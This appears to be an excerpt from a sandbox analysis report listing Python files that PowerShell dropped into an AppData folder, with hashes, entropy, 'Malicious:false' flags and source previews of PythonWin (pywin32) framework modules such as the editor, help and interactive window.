              Preview:# DockingBar.py..# Ported directly (comments and all) from the samples at www.codeguru.com..# WARNING: Use at your own risk, as this interface is highly likely to change..# Currently we support only one child per DockingBar. Later we need to add.# support for multiple children...import struct..import win32api.import win32con.import win32ui.from pywin.mfc import afxres, window..clrBtnHilight = win32api.GetSysColor(win32con.COLOR_BTNHILIGHT).clrBtnShadow = win32api.GetSysColor(win32con.COLOR_BTNSHADOW)...def CenterPoint(rect):. width = rect[2] - rect[0]. height = rect[3] - rect[1]. return rect[0] + width // 2, rect[1] + height // 2...def OffsetRect(rect, point):. (x, y) = point. return rect[0] + x, rect[1] + y, rect[2] + x, rect[3] + y...def DeflateRect(rect, point):. (x, y) = point. return rect[0] + x, rect[1] + y, rect[2] - x, rect[3] - y...def PtInRect(rect, pt):. return rect[0] <= pt[0] < rect[2] and rect[1] <= pt[1] < rect[3]...class DockingBar(window.Wnd):.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\app.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):16191
              Entropy (8bit):4.775924492405953
              Encrypted:false
              SSDEEP:
              MD5:0B58622B03134430703357C9DCFB8143
              SHA1:ED939E49CE7D8D5925DC310F022878E21B4DB873
              SHA-256:844EE703077A5FA0FBBAD7C544AA19F5629E12033BD6A43CE22AE9B9F4E22CFE
              SHA-512:6F556DF3718F3B2ED767361B37B26F4F34FE9BBAD818FB6AD7937A6A1106F2A30CC99CD5F5CC97598EDC35C3FD9BF224204AADFA5062FD6E02818FA3C880843F
              Malicious:false
              Reputation:unknown
              Preview:# App.py.# Application stuff..# The application is responsible for managing the main frame window..#.# We also grab the FileOpen command, to invoke our Python editor." The PythonWin application code. Manages most aspects of MDI, etc ".import os.import sys.import traceback..import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import afxres, dialog, window.from pywin.mfc.thread import WinApp..from . import scriptutils..## NOTE: App and AppBuild should NOT be used - instead, you should contruct your.## APP class manually whenever you like (just ensure you leave these 2 params None!).## Whoever wants the generic "Application" should get it via win32iu.GetApp()..# These are "legacy".AppBuilder = None.App = None # default - if used, must end up a CApp derived class....# Helpers that should one day be removed!.def AddIdleHandler(handler):. print(. "app.AddIdleHandler is deprecated - please use win32ui.GetApp().AddIdleHandler() instead.". ). return win3

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\bitmap.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5358
              Entropy (8bit):4.861124149859075
              Encrypted:false
              SSDEEP:
              MD5:BE2C603FEF45B247DD96E6941230558C
              SHA1:739CE86445DA92C28DF4E5560AEE418ADF8C0740
              SHA-256:B7B3342709148684D7F7271FDF6BB3933E861F0AC07B1FECAADA56F31E76EEA4
              SHA-512:6A628FAAA0BE90D9161C4F3FB8075EC45BF614B93D2A428285F162E77C8FC2BA0EF07966A226E14113B72E31381D58D6D14D950A4B9D7F51941274D15FC4D4A8
              Malicious:false
              Reputation:unknown
              Preview:import os..import win32api.import win32con.import win32ui.from pywin.mfc import docview, window..from . import app..bStretch = 1...class BitmapDocument(docview.Document):. "A bitmap document. Holds the bitmap data itself.".. def __init__(self, template):. docview.Document.__init__(self, template). self.bitmap = None.. def OnNewDocument(self):. # I can not create new bitmaps.. win32ui.MessageBox("Bitmaps can not be created.").. def OnOpenDocument(self, filename):. self.bitmap = win32ui.CreateBitmap(). # init data members. f = open(filename, "rb"). try:. try:. self.bitmap.LoadBitmapFile(f). except IOError:. win32ui.MessageBox("Could not load the bitmap from %s" % filename). return 0. finally:. f.close(). self.size = self.bitmap.GetSize(). return 1.. def DeleteContents(self):. self.bitmap = None...class BitmapView

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\cmdline.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1491
              Entropy (8bit):4.129546707116888
              Encrypted:false
              SSDEEP:
              MD5:42E00F8E2EF55BED99382BFF1B75471A
              SHA1:39876B183894E49930AAE96A9F8588520591EACA
              SHA-256:0D18159CFA599E233E188FFF4C5FC907ED47B372FFCAC1628398F0E88D9E735C
              SHA-512:31BF1E78C025BF5E4BAD323464CFB0937DD6F09772D6BE3D1C1275DB210956A38AB15F29534DFC7C89DDAA0E9A7F13F66DB1D3FC1B1985D0993074B3F7CA90EE
              Malicious:false
              Reputation:unknown
              Preview:# cmdline - command line utilities..import string.import sys..import win32ui...def ParseArgs(str):. import string.. ret = []. pos = 0. length = len(str). while pos < length:. try:. while str[pos] in string.whitespace:. pos = pos + 1. except IndexError:. break. if pos >= length:. break. if str[pos] == '"':. pos = pos + 1. try:. endPos = str.index('"', pos) - 1. nextPos = endPos + 2. except ValueError:. endPos = length. nextPos = endPos + 1. else:. endPos = pos. while endPos < length and not str[endPos] in string.whitespace:. endPos = endPos + 1. nextPos = endPos + 1. ret.append(str[pos : endPos + 1].strip()). pos = nextPos. return ret...def FixArgFileName(fileName):. """Convert a filename on the commandline to something useful..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\dbgcommands.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6831
              Entropy (8bit):4.60734272249847
              Encrypted:false
              SSDEEP:
              MD5:C3DE464951525D4E0BB7A2432D996229
              SHA1:92F4F10AF324E3ECBEEC45BFEE83DF8A4BAB1C45
              SHA-256:8E92C21D7F8F48EB483FC04F4DA19E1980E88F5E5921CD91515C1978196B01A0
              SHA-512:8858A1B71D92F7A9BBC0389C8DF0A8E195513F24EBC400A9EB6A844172F1D5F34D0A0757ABC012C7F657777AD16A0A0360A53C49127009D90D0AFCAA0ED34D0B
              Malicious:false
              Reputation:unknown
              Preview:# Command Handlers for the debugger...# Not in the debugger package, as I always want these interfaces to be.# available, even if the debugger has not yet been (or can not be).# imported.import warnings..import win32ui.from pywin.scintilla.control import CScintillaEditInterface..from . import scriptutils..IdToBarNames = {. win32ui.IDC_DBG_STACK: ("Stack", 0),. win32ui.IDC_DBG_BREAKPOINTS: ("Breakpoints", 0),. win32ui.IDC_DBG_WATCH: ("Watch", 1),.}...class DebuggerCommandHandler:. def HookCommands(self):. commands = (. (self.OnStep, None, win32ui.IDC_DBG_STEP),. (self.OnStepOut, self.OnUpdateOnlyBreak, win32ui.IDC_DBG_STEPOUT),. (self.OnStepOver, None, win32ui.IDC_DBG_STEPOVER),. (self.OnGo, None, win32ui.IDC_DBG_GO),. (self.OnClose, self.OnUpdateClose, win32ui.IDC_DBG_CLOSE),. (self.OnAdd, self.OnUpdateAddBreakpoints, win32ui.IDC_DBG_ADD),. (self.OnClearAll, self.OnUpdateClearAllBreakpoints,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\dlgappcore.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2044
              Entropy (8bit):4.75480923449918
              Encrypted:false
              SSDEEP:
              MD5:6A8C0BE282B0AEF1D76249DEABA9E980
              SHA1:864871CD5148A5D9BACAD2B45A3B0029AE4B3C66
              SHA-256:EE80DB72D088EF8E32B63E5284DEE6ABD7C142CDD2C6872B0B517A58672B6D7F
              SHA-512:1BFA636D9875F25A74A08396D5438E1448124DD6AFC49C120A76947836784E36BFA52B11FDDE515CCF0143158DB53C06C8D571FF8077153D21819981DFBF2890
              Malicious:false
              Reputation:unknown
              Preview:# dlgappcore..#.# base classes for dialog based apps....import win32api.import win32con.import win32ui.from pywin.mfc import dialog..from . import app..error = "Dialog Application Error"...class AppDialog(dialog.Dialog):. "The dialog box for the application".. def __init__(self, id, dll=None):. self.iconId = win32ui.IDR_MAINFRAME. dialog.Dialog.__init__(self, id, dll).. def OnInitDialog(self):. return dialog.Dialog.OnInitDialog(self).. # Provide support for a dlg app using an icon. def OnPaint(self):. if not self.IsIconic():. return self._obj_.OnPaint(). self.DefWindowProc(win32con.WM_ICONERASEBKGND, dc.GetHandleOutput(), 0). left, top, right, bottom = self.GetClientRect(). left = (right - win32api.GetSystemMetrics(win32con.SM_CXICON)) >> 1. top = (bottom - win32api.GetSystemMetrics(win32con.SM_CYICON)) >> 1. hIcon = win32ui.GetApp().LoadIcon(self.iconId). self.GetDC().DrawIcon((left, top),

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\ModuleBrowser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7057
              Entropy (8bit):4.439610719878647
              Encrypted:false
              SSDEEP:
              MD5:454C66BD909952ADDBB5A65C57809517
              SHA1:AB58FD5D10B1BDDDF0E7B9F2FE1FF48A054C8771
              SHA-256:D04E3A0D0132A7E26D7AAF3314934ADBF2F9F56E9E29E25D201B5D302F658266
              SHA-512:E291E4C6D94A6959819F02F214A5FBF503BD39E4C1090A432AAD1B2EC865D2BD51633448E03C8421379023E8DF1BD9E16D4257135713AA2B139EE642AF94F35B
              Malicious:false
              Reputation:unknown
              Preview:# ModuleBrowser.py - A view that provides a module browser for an editor document..import pyclbr..import afxres.import commctrl.import pywin.framework.scriptutils.import pywin.mfc.docview.import win32api.import win32con.import win32ui.from pywin.tools import browser, hierlist...class HierListCLBRModule(hierlist.HierListItem):. def __init__(self, modName, clbrdata):. self.modName = modName. self.clbrdata = clbrdata.. def GetText(self):. return self.modName.. def GetSubList(self):. ret = []. for item in self.clbrdata.values():. if (. item.__class__ != pyclbr.Class. ): # ie, it is a pyclbr Function instance (only introduced post 1.5.2). ret.append(HierListCLBRFunction(item)). else:. ret.append(HierListCLBRClass(item)). ret.sort(). return ret.. def IsExpandable(self):. return 1...class HierListCLBRItem(hierlist.HierListItem):. def __init__(se

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):2951
              Entropy (8bit):4.942933313190723
              Encrypted:false
              SSDEEP:
              MD5:AA66EB26B463B110988121965DBCE948
              SHA1:2715FACC6E33390A8AB1D73AC10F42492419EFA7
              SHA-256:64390FDBF80467AB2C7A4E8BC3D3B2D80D6645FA215028D84EB9D518F09BDDEC
              SHA-512:6DE4FD8B77F86CE342D0EB335765BC6D89EF5DA8C335CD2A4065720D80B2E28910A9A04FF57FA26E4AADEF88BE6EB7327611E66394CEDFDB055E7D68AE3041A5
              Malicious:false
              Reputation:unknown
              Preview:# __init__ for the Pythonwin editor package..#.# We used to support optional editors - eg, color or non-color..#.# This really isnt necessary with Scintilla, and scintilla.# is getting so deeply embedded that it was too much work...import sys..import win32con.import win32ui..defaultCharacterFormat = (-402653169, 0, 200, 0, 0, 0, 49, "Courier New")..##def GetDefaultEditorModuleName():.##.import pywin.##.# If someone has set pywin.editormodulename, then this is what we use.##.try:.##..prefModule = pywin.editormodulename.##.except AttributeError:.##..prefModule = win32ui.GetProfileVal("Editor","Module", "").##.return prefModule.##.##def WriteDefaultEditorModule(module):.##.try:.##..module = module.__name__.##.except:.##..pass.##.win32ui.WriteProfileVal("Editor", "Module", module)...def LoadDefaultEditor():. pass...##.prefModule = GetDefaultEditorModuleName().##.restorePrefModule = None.##.mod = None.##.if prefModule:.##..try:.##...mod = __import__(prefModule).##..except 'xx':.##...msg

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\color\coloreditor.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):25627
              Entropy (8bit):4.755414140494236
              Encrypted:false
              SSDEEP:
              MD5:86D17F783F0F40790F86204C54AD2A71
              SHA1:CCBD0F896C3C68DF0E072E319F61BA1AB853054C
              SHA-256:FDE25DB1142ACF4D218A768A811A0CD4D0B52ECC3A1613E914F0D97E70A2554B
              SHA-512:AFC3E2C8E114B2D999DC35ECD06FBE37A368C6AC0D1E0717A5A7BFA6CA591269770C2184BF170392178C7268F32A038A07DA0408201FC7C7665132E3E06B0711
              Malicious:false
              Reputation:unknown
              Preview:# Color Editor originally by Neil Hodgson, but restructured by mh to integrate.# even tighter into Pythonwin...import pywin.scintilla.keycodes.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,.).from pywin.scintilla import bindings..# from pywin.framework.editor import EditorPropertyPage..MSG_CHECK_EXTERNAL_FILE = (. win32con.WM_USER + 1999.) ## WARNING: Duplicated in document.py and editor.py..# Define a few common markers.MARKER_BOOKMARK = 0.MARKER_BREAKPOINT = 1.MARKER_CURRENT = 2..import pywin.scintilla.view.from pywin.debugger import dbgcon.from pywin.framework.editor.document import EditorDocumentBase.from pywin.scintilla import scintillacon # For the marker definitions.from pywin.scintilla.document import CScintillaDocument...class SyntEditDocument(EditorDocumentBase):. "A SyntEdit document.".. def OnDebuggerStateCha

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\configui.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):11603
              Entropy (8bit):4.979739602460823
              Encrypted:false
              SSDEEP:
              MD5:DAB3D0F83BCAACA8A0CA6A9C5FAAC11F
              SHA1:F4B5CEDC785B353D1666DFBA9C7AA4612694E478
              SHA-256:B43CF949918F7219CE1B58E53E416027E9F62BF1F480C69B1C65DC2C0DEB395F
              SHA-512:84BC325B67659409FF5485DBEBA99212CCF26CBE1C6308A51BB3B04165845D54B276058720236E6DD4DE93F1012AEE60AF49DE760173DD6C98965B3A52F9081D
              Malicious:false
              Reputation:unknown
              Preview:import pywin.scintilla.config.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. DeleteEditorOption,. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,. editorTemplate,.).from pywin.mfc import dialog..from . import document..# The standard 16 color VGA palette should always be possible.paletteVGA = (. ("Black", 0, 0, 0),. ("Navy", 0, 0, 128),. ("Green", 0, 128, 0),. ("Cyan", 0, 128, 128),. ("Maroon", 128, 0, 0),. ("Purple", 128, 0, 128),. ("Olive", 128, 128, 0),. ("Gray", 128, 128, 128),. ("Silver", 192, 192, 192),. ("Blue", 0, 0, 255),. ("Lime", 0, 255, 0),. ("Aqua", 0, 255, 255),. ("Red", 255, 0, 0),. ("Fuchsia", 255, 0, 255),. ("Yellow", 255, 255, 0),. ("White", 255, 255, 255),.)...######################################################.#.# Property Page for editor options.#.class EditorPropertyPage(dialog.PropertyPage):. def

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\document.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):14762
              Entropy (8bit):4.505299678067443
              Encrypted:false
              SSDEEP:
              MD5:E6508DD4684EA16A9987E983E189549D
              SHA1:20F8B1427713CEA8DA2FC25B2A76F5CDDC4EEBBF
              SHA-256:6348B90AA016AF071855E7C512E9A631AB0659F91BE3A2D737D6C54B5ABAC680
              SHA-512:EDE0B182E451EB6FC96466A4B4DB1EF12853C207662F2CB6765588AFE3BCE0E5B19FAE9D3E708AA7BD30EC329F46253D12943E55ADF948BA59193DD88EA467EC
              Malicious:false
              Reputation:unknown
              Preview:# We no longer support the old, non-colour editor!..import os.import shutil.import traceback..import win32api.import win32con.import win32ui.from pywin.framework.editor import GetEditorOption.from pywin.mfc import docview, object..BAK_NONE = 0.BAK_DOT_BAK = 1.BAK_DOT_BAK_TEMP_DIR = 2.BAK_DOT_BAK_BAK_DIR = 3..MSG_CHECK_EXTERNAL_FILE = (. win32con.WM_USER + 1999.) ## WARNING: Duplicated in editor.py and coloreditor.py..import pywin.scintilla.document..ParentEditorDocument = pywin.scintilla.document.CScintillaDocument...class EditorDocumentBase(ParentEditorDocument):. def __init__(self, template):. self.bAutoReload = GetEditorOption("Auto Reload", 1). self.bDeclinedReload = 0 # Has the user declined to reload.. self.fileStat = None. self.bReportedFileNotFound = 0.. # what sort of bak file should I create.. # default to write to %temp%/bak/filename.ext. self.bakFileType = GetEditorOption("Backup Type", BAK_DOT_BAK_BAK_DIR).. s

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\editor.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):18241
              Entropy (8bit):4.679743271147803
              Encrypted:false
              SSDEEP:
              MD5:E90815BE95E40481C0662A2B431B3B70
              SHA1:9B282536957675F8983DFA15B5C4A8826BA990F5
              SHA-256:916A3ACBC2EB68D868EB759A8F84FA7FAD05FB027F0CB988C8449D77A42B6F15
              SHA-512:50A45101CE6052A210573BD7FE2318FCFDE8B131519684E5F8062F892DE30E38D9B283A222287D645F4F6D667A7C05F81AEB2D5523E0FF07902A9C6E7D3C1C88
              Malicious:false
              Reputation:unknown
              Preview:#####################################################################.#.# editor.py.#.# A general purpose text editor, built on top of the win32ui edit.# type, which is built on an MFC CEditView.#.#.# We now support reloading of externally modified documented.# (eg, presumably by some other process, such as source control or.# another editor..# We also suport auto-loading of externally modified files..# - if the current document has not been modified in this.# editor, but has been modified on disk, then the file.# can be automatically reloaded..#.# Note that it will _always_ prompt you if the file in the editor has been modified....import re..import regex.import win32api.import win32con.import win32ui.from pywin.framework.editor import (. GetEditorFontOption,. GetEditorOption,. SetEditorFontOption,. SetEditorOption,. defaultCharacterFormat,.).from pywin.mfc import afxres, dialog, docview..patImport = regex.symcomp("import \(<name>.*\)").patIndent = regex.compile("^\\([ \

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\frame.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3148
              Entropy (8bit):4.627065154645439
              Encrypted:false
              SSDEEP:
              MD5:A034E2B9E4870B7FADA5486BA9711DDE
              SHA1:B1B7A761FB80D86965A9E0F2592995369D316646
              SHA-256:961BC3585606E76DDA52639617BF5ABC83B7AF4A5C6829C0149E8DD156DD614A
              SHA-512:FA67A42CAAA4B1C2F8D9AE8C44467A02686959C08E4A4BD7E0E5B3F10E8343F507D0BB4C48F4CF90006CDD61E54D0D172FA3270CED828F9069EA51CF3DCB05B0
              Malicious:false
              Reputation:unknown
              Preview:# frame.py - The MDI frame window for an editor..import pywin.framework.window.import win32con.import win32ui..from . import ModuleBrowser...class EditorFrame(pywin.framework.window.MDIChildWnd):. def OnCreateClient(self, cp, context):. # Create the default view as specified by the template (ie, the editor view). view = context.template.MakeView(context.doc). # Create the browser view.. browserView = ModuleBrowser.BrowserView(context.doc). view2 = context.template.MakeView(context.doc).. splitter = win32ui.CreateSplitter(). style = win32con.WS_CHILD | win32con.WS_VISIBLE. splitter.CreateStatic(self, 1, 2, style, win32ui.AFX_IDW_PANE_FIRST). sub_splitter = self.sub_splitter = win32ui.CreateSplitter(). sub_splitter.CreateStatic(splitter, 2, 1, style, win32ui.AFX_IDW_PANE_FIRST + 1).. # Note we must add the default view first, so that doc.GetFirstView() returns the editor view.. sub_splitter.CreateView(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\template.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2060
              Entropy (8bit):4.687667955810207
              Encrypted:false
              SSDEEP:
              MD5:A98ABD4CDBD03193D44E5F1378AB0565
              SHA1:22B45559E08CABBF13B6145B3D7CE59B5273249E
              SHA-256:BDBBE1B47268C858B5DB33129225966062B1ADBFA7678712A4211BF8CDD7DDF9
              SHA-512:366F6B8138845A620FE342E3535980C8F44A871CD9A5B0DC86F4D828F332D3DA09A3D5215DECEA26D932F31ADF725802A33548134E8CD9FC53E4CAF6AF1AE19E
              Malicious:false
              Reputation:unknown
              Preview:import os..import pywin.framework.window.import win32api.import win32ui.from pywin.mfc import docview..from . import frame..ParentEditorTemplate = docview.DocTemplate...class EditorTemplateBase(ParentEditorTemplate):. def __init__(. self, res=win32ui.IDR_TEXTTYPE, makeDoc=None, makeFrame=None, makeView=None. ):. if makeFrame is None:. makeFrame = frame.EditorFrame. ParentEditorTemplate.__init__(self, res, makeDoc, makeFrame, makeView).. def _CreateDocTemplate(self, resourceId):. assert 0, "You must override this".. def CreateWin32uiDocument(self):. assert 0, "You must override this".. def GetFileExtensions(self):. return ".txt", ".py".. def MatchDocType(self, fileName, fileType):. doc = self.FindOpenDocument(fileName). if doc:. return doc. ext = os.path.splitext(fileName)[1].lower(). if ext in self.GetFileExtensions():. return win32ui.CDocTemplate_Confidence_yesAttem

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\editor\vss.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3398
              Entropy (8bit):4.6330455844108895
              Encrypted:false
              SSDEEP:
              MD5:F5344413C1F70415897EEC86B0311BF0
              SHA1:D5A0B30A5D65EB96886B24259E81439FF235A0B0
              SHA-256:55FC7A2853787CFCA41A8FB4C8DA3F961844C0E56585BB82DD4DC7F8C9AE425F
              SHA-512:88891CE2D5D12B55ACA5F78BFB69D364733F8FFCDFA7CC17B34A806102431BDD2E1CC2A4B3DAA6D5628112C91A2A4B07CEED8DEEF46F88C621E8EAA7FE38E43F
              Malicious:false
              Reputation:unknown
              Preview:# vss.py -- Source Control using Microsoft VSS...# Provides routines for checking files out of VSS..#.# Uses an INI file very similar to how VB integrates with VSS - even.# as far as using the same name...# The file must be named "Mssccprj.scc", and be in the format of.# an INI file. This file may be in a parent directory, in which.# case the project name will be built from what is specified in the.# ini file, plus the path from the INI file to the file itself..#.# The INI file should have a [Python] section, and a.# Project=Project Name.# and optionally.# Database=??...import os.import sys.import traceback..import win32api.import win32ui..g_iniName = "Mssccprj.scc" # Use the same INI name as VB!..g_sourceSafe = None...def FindVssProjectInfo(fullfname):. """Looks up the file system for an INI file describing the project... Looking up the tree is for ni style packages... Returns (projectName, pathToFileName) where pathToFileName contains. the path from the ini file to the

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\help.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):5650
              Entropy (8bit):4.72058456476038
              Encrypted:false
              SSDEEP:
              MD5:B12DFEEC2AB8B1758C1567D42C490B7B
              SHA1:DEF28BEE0C8FD8D60FBF0FA24B27232FF7E242C1
              SHA-256:AE8B27C1BE4EC2C6F7031D5C648949A1AD3A97ED2348BDD6D4015B9BF2E5FC78
              SHA-512:65672DE52090E79AE6FAB0637FB438323B2C9B049CBF44FDF69538D736DC92FD30445F9FC809833F1EB265FB85097272D11C48DDA62ADC6526D07E6E9B53DDD6
              Malicious:false
              Reputation:unknown
              Preview:# help.py - help utilities for PythonWin..import os..import regutil.import win32api.import win32con.import win32ui..htmlhelp_handle = None..html_help_command_translators = {. win32con.HELP_CONTENTS: 1, # HH_DISPLAY_TOC. win32con.HELP_CONTEXT: 15, # HH_HELP_CONTEXT. win32con.HELP_FINDER: 1, # HH_DISPLAY_TOC.}...def FinalizeHelp():. global htmlhelp_handle. if htmlhelp_handle is not None:. import win32help.. try:. # frame = win32ui.GetMainFrame().GetSafeHwnd(). frame = 0. win32help.HtmlHelp(frame, None, win32help.HH_UNINITIALIZE, htmlhelp_handle). except win32help.error:. print("Failed to finalize htmlhelp!"). htmlhelp_handle = None...def OpenHelpFile(fileName, helpCmd=None, helpArg=None):. "Open a help file, given a full path". # default help arg.. win32ui.DoWaitCursor(1). try:. if helpCmd is None:. helpCmd = win32con.HELP_CONTENTS. ext = os.path.splitext(fileNam

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\interact.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):35912
              Entropy (8bit):4.631604153784839
              Encrypted:false
              SSDEEP:
              MD5:9CD632F14BE177B77B27EFA15380F89E
              SHA1:8609338B1A19E2991EF6A331051FCC046197FD8A
              SHA-256:7A37B60603FE6C5F541383AF8CC835DF73062B4CE72491E342D566AC3168F031
              SHA-512:230E5F663B955036E627162585D41DD85F80589706B326EE6150029B708D4A2D7C53A518339D146F287062D4AF0489B451F9FCEFE683ACEFF8A829E7DB6642AE
              Malicious:false
              Reputation:unknown
              Preview:##################################################################.##.## Interactive Shell Window.##..import array.import code.import os.import string.import sys.import traceback..import __main__.import afxres.import pywin.framework.app.import pywin.scintilla.control.import pywin.scintilla.formatter.import pywin.scintilla.IDLEenvironment.import win32api.import win32clipboard.import win32con.import win32ui..## sequential after ID_GOTO_LINE defined in editor.py.ID_EDIT_COPY_CODE = 0xE2002.ID_EDIT_EXEC_CLIPBOARD = 0x2003..trace = pywin.scintilla.formatter.trace..import re..from . import winout..# from IDLE.._is_block_opener = re.compile(r":\s*(#.*)?$").search._is_block_closer = re.compile(. r""". \s*. ( return. | break. | continue. | raise. | pass. ). \b.""",. re.VERBOSE,.).match..tracebackHeader = "Traceback (".encode("ascii")..sectionProfile = "Interactive Window".valueFormatTitle = "FormatTitle".valueFormatInput = "FormatInput".valueFormatOutput = "FormatO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\intpyapp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):20154
              Entropy (8bit):4.47952669125256
              Encrypted:false
              SSDEEP:
              MD5:494E4047F3A33557E19707AA57A6762D
              SHA1:607C10F0CC8CF0578C3ABDA73154782478249ECF
              SHA-256:A0735F8B7E4A68D0A90034FB3C6ADF4E2DE58E44AC5261736EEB9F2279B496D0
              SHA-512:5923ABA95A148D885E5E5AA13BDA469FB76DCEBCB1E32B581DD40A086DDD80F9CFD86800432C94C0700DE893775D41F3BFD7F0206D5B3E604110AE552D8D9FF6
              Malicious:false
              Reputation:unknown
              Preview:# intpyapp.py - Interactive Python application class.#.import os.import sys.import traceback..import __main__.import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import afxres, dialog..from . import app, dbgcommands..lastLocateFileName = ".py" # used in the "File/Locate" dialog......# todo - _SetupSharedMenu should be moved to a framework class..def _SetupSharedMenu_(self):. sharedMenu = self.GetSharedMenu(). from pywin.framework import toolmenu.. toolmenu.SetToolsMenu(sharedMenu). from pywin.framework import help.. help.SetHelpMenuOtherHelp(sharedMenu)...from pywin.mfc import docview..docview.DocTemplate._SetupSharedMenu_ = _SetupSharedMenu_...class MainFrame(app.MainFrame):. def OnCreate(self, createStruct):. self.closing = 0. if app.MainFrame.OnCreate(self, createStruct) == -1:. return -1. style = (. win32con.WS_CHILD. | afxres.CBRS_SIZE_DYNAMIC. | afxres.CBRS_TOP.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\intpydde.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1564
              Entropy (8bit):4.499942146153649
              Encrypted:false
              SSDEEP:
              MD5:192776AD66CE552D0274AE61888C7F9A
              SHA1:8F4C51333E175B4F23ACB4D7FA1BFC1AF5D0190F
              SHA-256:70FF4889CF52DB82518A24C5EF8CD7666E26DEB0C05EC5769579EA5634542AF8
              SHA-512:CD74E054097A2A4BDAEA83BB8AF338CA27B95427D623CD423187E0A19E43EDABBCFB805600A2027FD711E161DFF585DBCB41102106BBCE60BFBB58F5DDC29978
              Malicious:false
              Reputation:unknown
              Preview:# DDE support for Pythonwin.#.# Seems to work fine (in the context that IE4 seems to have broken.# DDE on _all_ NT4 machines I have tried, but only when a "Command Prompt" window.# is open. Strange, but true. If you have problems with this, close all Command Prompts!...import sys.import traceback..import win32api.import win32ui.from dde import *.from pywin.mfc import object...class DDESystemTopic(object.Object):. def __init__(self, app):. self.app = app. object.Object.__init__(self, CreateServerSystemTopic()).. def Exec(self, data):. try:. # ...print "Executing", cmd. self.app.OnDDECommand(data). except:. t, v, tb = sys.exc_info(). # The DDE Execution failed.. print("Error executing DDE command."). traceback.print_exception(t, v, tb). return 0...class DDEServer(object.Object):. def __init__(self, app):. self.app = app. object.Object.__init__(self, CreateServ

